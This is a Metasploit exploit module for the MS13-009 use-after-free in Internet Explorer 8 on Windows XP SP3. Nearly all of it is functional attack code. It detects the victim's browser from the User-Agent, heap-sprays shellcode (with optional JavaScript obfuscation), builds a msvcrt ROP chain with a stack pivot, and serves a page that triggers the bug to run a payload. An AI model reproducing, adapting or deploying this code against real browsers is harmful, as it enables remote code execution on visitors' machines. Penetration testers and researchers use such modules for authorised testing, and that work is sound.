##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb

    def initialize(info={})
        super(update_info(info,
            'Name'           => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",
            'Description'    => %q{
                This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
                where a CParaElement node is released but a reference is still kept
                in CDoc. This memory is reused when a CDoc relayout is performed.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2013-0025' ],
                    [ 'MSB', 'MS13-009' ],
                    [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
                ],
            'Payload'     =>
                {
                    'BadChars'       => "\x00",
                    'Space'          => 920,
                    'DisableNops'    => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'    => 'win',
            'Targets'     =>
                [
                    [ 'Automatic', {} ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
                ],
            'Privileged'      => false,
            'DisclosureDate'  => "Feb 13 2013",
            'DefaultTarget'   => 0))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)

    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'

        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

        ie_name = "IE #{ie}"

        case nt
        when '5.1'
            os_name = 'Windows XP SP3'
        end

        targets.each do |t|
            if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
                print_status("Target selected as: #{t.name}")
                return t
            end
        end

        return nil
    end

    def heap_spray(my_target, p)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

        js = %Q|

            var heap_obj = new heapLib.ie(0x20000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset = nops.substring(0, #{my_target['Offset']});
            var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
            while (shellcode.length < 0x40000) shellcode += shellcode;
            var block = shellcode.substring(0, (0x80000-6)/2);
            heap_obj.gc();
            for (var i=1; i < 0x300; i++) {
                heap_obj.alloc(block);
            }
            var overflow = nops.substring(0, 10);

        |

        js = heaplib(js, {:noobfu => true})

        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate

        end

        return js
    end

    def get_payload(t, cli)
        code = payload.encoded

        # No rop. Just return the payload.
        return code if t['Rop'].nil?

        # ROP chain generated by mona.py - See corelan.be
        case t['Rop']
        when :msvcrt
            print_status("Using msvcrt ROP")
            rop_nops = [0x77c39f92].pack("V") * 11 # RETN
            rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
            rop_payload << rop_nops
            rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
            rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
            rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
            rop_payload << [0x77c39f92].pack("V") # RETN
            rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
            rop_payload << code
        end

        return rop_payload
    end

    def get_exploit(my_target, cli)
        p  = get_payload(my_target, cli)
        js = heap_spray(my_target, p)

        html = %Q|
        <!doctype html>
        <html>
        <head>
        <script>
        #{js}
        </script>
        <script>
        var data;
        var objArray = new Array(1150);

        setTimeout(function(){
            document.body.style.whiteSpace = "pre-line";

            CollectGarbage();

            for (var i=0;i<1150;i++){
                objArray[i] = document.createElement('div');
                objArray[i].className = data += unescape("%u0c0c%u0c0c");
            }

            setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)

        </script>
        </head>
        <body>
        <p> </p>
        </body>
        </html>
        |

        return html
    end

    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        uri   = request.uri
        print_status("Requesting: #{uri}")

        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end

        html = get_exploit(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status "Sending HTML..."
        send_response(cli, html, {'Content-Type'=>'text/html'})

    end

end